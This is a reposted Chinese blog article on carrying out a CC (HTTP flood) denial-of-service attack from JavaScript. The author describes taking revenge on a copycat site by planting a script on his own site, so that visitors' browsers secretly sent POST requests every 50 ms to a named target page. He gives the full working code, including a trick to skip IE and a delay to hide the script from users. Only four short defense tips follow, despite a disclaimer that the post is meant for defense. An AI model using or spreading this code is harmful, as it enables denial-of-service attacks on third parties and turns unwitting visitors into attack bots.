博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
基于js的CC攻击实现与防御
阅读量:6541 次
发布时间:2019-06-24

本文共 1551 字,大约阅读时间需要 5 分钟。

申明:此文不是为了教大家攻击别人网站,主要是为了学会更好的防御。

Author:Tueur

正文:

前段时间开发了一个微博应用站,人气还不错,可不久就被人山寨了,连名字都一模一样,气不过就想到了报复。

因为整个网站全是基于腾讯api接口的,入侵短时间基本没可能性,我等小菜也没肉鸡DDoS。

突然想到了半年前不知道在哪看过一篇关于CC攻击原理分析的文章,我邪恶的想到了似乎用ajax也可以实现。

(为了更理解此文最好去网上查一下cc攻击原理,这里大牛这么多,我就不多说了。)

简单说cc攻击就是通过大量肉鸡模拟正常用户对网站某个需要获取大量数据的网页发送数据包,导致服务器崩溃。

其最重要的就是肉鸡,我网站一般都有上千人同时在线,于是他们都成为了我的“肉鸡”~

我写了一段攻击代码放我网站上,只要用户访问网站就会自动不断的通过ajax向指定页面发送post数据包,半个小时后对方网站基本over了。

当然,攻击的页面是我先选好了的需要获取数据量比较大的页面,这个很重要。

而且由于ajax跨域安全限制,发送数据包后浏览器是不会获取返回数据的,这样对当前访问的用户基本没有影响,跟正常访问没区别。

但缺点也是因为跨域限制,在IE下会弹出警告没有权限或需要授权,所以我在代码中if了ie浏览器下不执行函数。

如果你有pv大的shell的话这个不是问题,现在用非IE人已经很多了,我在忽略IE用户的情况下也只用了半个小时就o了。

下面是ajax攻击代码,间隔时间可以根据需要自己调整,我设置的是50毫秒一次。

<pre lang=”javascript”>

<script type="text/javascript">

var t_postdata='id=datadatadatadatadata';//数据越大效果越好。

var t_url='http://www.xuehai.net/test.php';

 

function c_xmlHttp()

{

if(window.ActiveXObject)

{

xmlHttp=new ActiveXObject('Microsoft.XMLHTTP');

}

else if(window.XMLHttpRequest)

{

xmlHttp=new XMLHttpRequest();

}

return xmlHttp;

}

 

function post_send()

{

var xmlHttp=c_xmlHttp();

xmlHttp.open("POST",t_url,true);

xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

xmlHttp.send(t_postdata);

r_send();

}

function r_send()

{

setTimeout("post_send()", 50);//50毫秒一次

}

if(!+[1,])//IE下不执行。

{var fghj=1;}

else

{setTimeout("post_send()", 3000);}//访问网站3秒后再执行,这样用户就毫无感觉。

 

</script>

</pre>

防御办法:

1,对数据量比较大的页面使用缓存,尽量减少数据库连接。

2,对每个访问者设置ip cookie,限制时段内访问次数。

3,对每个用户设置session,限制时段内访问次数。

4,缩短Timeout时间,这样当连接过多就会自动丢弃一部分。

转载于:https://www.cnblogs.com/alocne/archive/2012/03/26/2417840.html

你可能感兴趣的文章
HDU 4278 Faulty Odometer【进制转换】
查看>>
android studio 导入主题设置,代码风格(附带eclipse 主题代码样式)
查看>>
markdown 简单教程
查看>>
二叉树1
查看>>
【leetcode】402. Remove K Digits
查看>>
RESTful API 设计最佳实践
查看>>
用于构建 RESTful Web 服务的多层架构
查看>>
转载C#加密方法
查看>>
eclipse中类和方法添加作者日期说明
查看>>
Python 精要参考(第二版) 第二章 语法及代码约定
查看>>
新学期的合作
查看>>
Beginners MYSQL Database Tutorial# How to install MySQL on Ubuntu
查看>>
PHP之数组学习
查看>>
PHP判断远程文件是否存在
查看>>
JS 转义&反转义 HTML标签、特殊字符
查看>>
KVC集合操作符
查看>>
[转载]ext4文件系统的delalloc选项造成单次写延迟增加的分析
查看>>
Entity Framework 小知识(二)
查看>>
Oracle 18c新特性详解:In-Memory 专题
查看>>
2016年终总结
查看>>